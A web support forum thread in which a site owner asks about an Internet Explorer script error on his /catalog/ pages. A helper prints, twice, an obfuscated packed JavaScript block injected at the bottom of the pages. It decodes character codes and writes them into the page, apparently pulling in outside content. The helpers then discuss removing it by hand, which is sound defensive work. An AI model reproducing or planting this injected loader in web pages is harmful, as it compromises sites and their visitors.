error on ie

[dcrider1]

Webpage error details

 

User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30618; InfoPath.2; NET_mmhpset)

Timestamp: Mon, 22 Feb 2010 02:28:22 UTC

 

 

Message: Expected ')'

Line: 196

Char: 1381

Code: 0

URI: http://limitedstreet.com/catalog/

[germ]

Webpage error details

 

User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30618; InfoPath.2; NET_mmhpset)

Timestamp: Mon, 22 Feb 2010 02:28:22 UTC

 

 

Message: Expected ')'

Line: 196

Char: 1381

Code: 0

URI: http://limitedstreet.com/catalog/

Code at the bottom of the page:

 

<script type='text/javascript'>
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('O I(){D a=J K(9,9,E,j,4,8,3,h,2,5,7,f,6,F,z,f,F,1,k,l,P,f,G,f,Q,4,8,3,h,2,l,5,2,R,h,1,k,l,2,1,S,2,p,T,f,G,f,j,4,8,3,h,2,l,A,10,9,9,9,G,f,8,5,7,3,6,n,r,4,5,k,5,s,g,4,z,e,1,6,2,m,7,3,6,n,j,m,7,1,6,F,2,o,u,H,v,10,9,9,9,G,f,8,5,7,3,6,n,r,2,5,k,5,w,w,v,10,9,9,9,t,g,8,5,B,v,7,3,6,n,r,4,A,u,H,v,7,3,6,n,r,4,u,u,C,5,U,10,9,9,9,9,3,t,5,B,s,g,4,z,e,1,6,2,m,7,3,6,n,j,V,7,3,6,n,r,4,W,m,o,8,1,t,5,k,k,5,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,l,C,5,x,8,1,f,n,v,10,9,9,9,9,3,t,5,B,7,3,6,n,r,4,5,k,k,k,5,y,C,5,s,g,4,z,e,1,6,2,m,q,8,3,2,1,B,w,E,3,t,8,f,e,1,5,o,1,3,F,o,2,k,l,X,y,y,l,5,q,3,s,2,o,k,l,H,y,y,Y,l,5,x,g,8,s,1,8,k,l,y,l,5,j,8,4,k,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,,h,3,4,p,1,p,4,o,1,4,n,r,7,3,6,n,r,g,4,m,h,o,h,Z,7,3,6,n,k,w,N,1,6,4,g,s,1,11,12,13,14,g,e,h,g,6,1,6,2,B,s,g,4,z,e,1,6,2,m,7,g,4,f,2,3,g,6,m,o,8,1,t,C,N,w,l,5,A,E,p,3,t,8,f,e,1,A,w,C,v,10,9,9,9,15,10,9,9,E,p,j,4,8,3,h,2,A);D b=J K();D c;D d='';16(i=0;i<a.17;i++){b[i]=18.19(a[i]);c=d+=b[i]}1a.1b(c)}I();',62,74,'|101|116|105|99|32|110|108|114||||||109|97|111|112||115|61|34|46|107|104|47|119|95|100|102|45|59|39|98|48|117|62|40|41|var|60|103|118|49|myCodedStuff|new|Array|58|122|43|function|74|83|121|120|106|123|91|93|50|37|63||85|82|73|67|125|for|length|String|fromCharCode|document|write'.split('|'),0,{}))</script>

Looks like you've been hacked to me.

>_<

[dcrider1]

Code at the bottom of the page:

 

<script type='text/javascript'>
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('O I(){D a=J K(9,9,E,j,4,8,3,h,2,5,7,f,6,F,z,f,F,1,k,l,P,f,G,f,Q,4,8,3,h,2,l,5,2,R,h,1,k,l,2,1,S,2,p,T,f,G,f,j,4,8,3,h,2,l,A,10,9,9,9,G,f,8,5,7,3,6,n,r,4,5,k,5,s,g,4,z,e,1,6,2,m,7,3,6,n,j,m,7,1,6,F,2,o,u,H,v,10,9,9,9,G,f,8,5,7,3,6,n,r,2,5,k,5,w,w,v,10,9,9,9,t,g,8,5,B,v,7,3,6,n,r,4,A,u,H,v,7,3,6,n,r,4,u,u,C,5,U,10,9,9,9,9,3,t,5,B,s,g,4,z,e,1,6,2,m,7,3,6,n,j,V,7,3,6,n,r,4,W,m,o,8,1,t,5,k,k,5,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,l,C,5,x,8,1,f,n,v,10,9,9,9,9,3,t,5,B,7,3,6,n,r,4,5,k,k,k,5,y,C,5,s,g,4,z,e,1,6,2,m,q,8,3,2,1,B,w,E,3,t,8,f,e,1,5,o,1,3,F,o,2,k,l,X,y,y,l,5,q,3,s,2,o,k,l,H,y,y,Y,l,5,x,g,8,s,1,8,k,l,y,l,5,j,8,4,k,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,,h,3,4,p,1,p,4,o,1,4,n,r,7,3,6,n,r,g,4,m,h,o,h,Z,7,3,6,n,k,w,N,1,6,4,g,s,1,11,12,13,14,g,e,h,g,6,1,6,2,B,s,g,4,z,e,1,6,2,m,7,g,4,f,2,3,g,6,m,o,8,1,t,C,N,w,l,5,A,E,p,3,t,8,f,e,1,A,w,C,v,10,9,9,9,15,10,9,9,E,p,j,4,8,3,h,2,A);D b=J K();D c;D d='';16(i=0;i<a.17;i++){b[i]=18.19(a[i]);c=d+=b[i]}1a.1b(c)}I();',62,74,'|101|116|105|99|32|110|108|114||||||109|97|111|112||115|61|34|46|107|104|47|119|95|100|102|45|59|39|98|48|117|62|40|41|var|60|103|118|49|myCodedStuff|new|Array|58|122|43|function|74|83|121|120|106|123|91|93|50|37|63||85|82|73|67|125|for|length|String|fromCharCode|document|write'.split('|'),0,{}))</script>

Looks like you've been hacked to me.

>_<

 

 

Really!?!?! This was less than 5 minutes after the install. How do I go about fixing this?

[germ]

Really!?!?! This was less than 5 minutes after the install. How do I go about fixing this?

How to Secure Your Site

 

In light of your last statement, if this really ocurred just after installation, it seems to me a more likely scenario is the template was "contaminated" when you installed it.

 

I looked at several of your pages and they all have the same malformed code at the bottom.

 

The good thing is that because of the error then code doesn't do whatever nefarious purposes it was created to do.

[dcrider1]

How to Secure Your Site

 

In light of your last statement, if this really ocurred just after installation, it seems to me a more likely scenario is the template was "contaminated" when you installed it.

 

I looked at several of your pages and they all have the same malformed code at the bottom.

 

The good thing is that because of the error then code doesn't do whatever nefarious purposes it was created to do.

 

Would you mind telling me, if there is an easy way to remove just that code from all pages? Or does each page have to be done individually? Thanks for your help. And yes it was right after install, once i changed permissions and delted install folder, i noticed the error in the corner. I then came here, so probably less than 5 minutes after install.

[germ]

Would you mind telling me, if there is an easy way to remove just that code from all pages? Or does each page have to be done individually? Thanks for your help. And yes it was right after install, once i changed permissions and delted install folder, i noticed the error in the corner. I then came here, so probably less than 5 minutes after install.

I know of no way to do a mass edit.

 

Maybe someone will post with a suggestion.

[dcrider1]

I know of no way to do a mass edit.

 

Maybe someone will post with a suggestion.

 

In case no one has a suggestion, what all pages will have this code within? Please dont say all of them, well i guess do if so. :)

[germ]

In case no one has a suggestion, what all pages will have this code within? Please dont say all of them, well i guess do if so. :)

All the files in the /catalog folder that I accessed had it.

[dcrider1]

All the files in the /catalog folder that I accessed had it.

 

So I need to check each and evry page, is what you are saying? FUN!!! im soooo excited now. haha thanks for your help!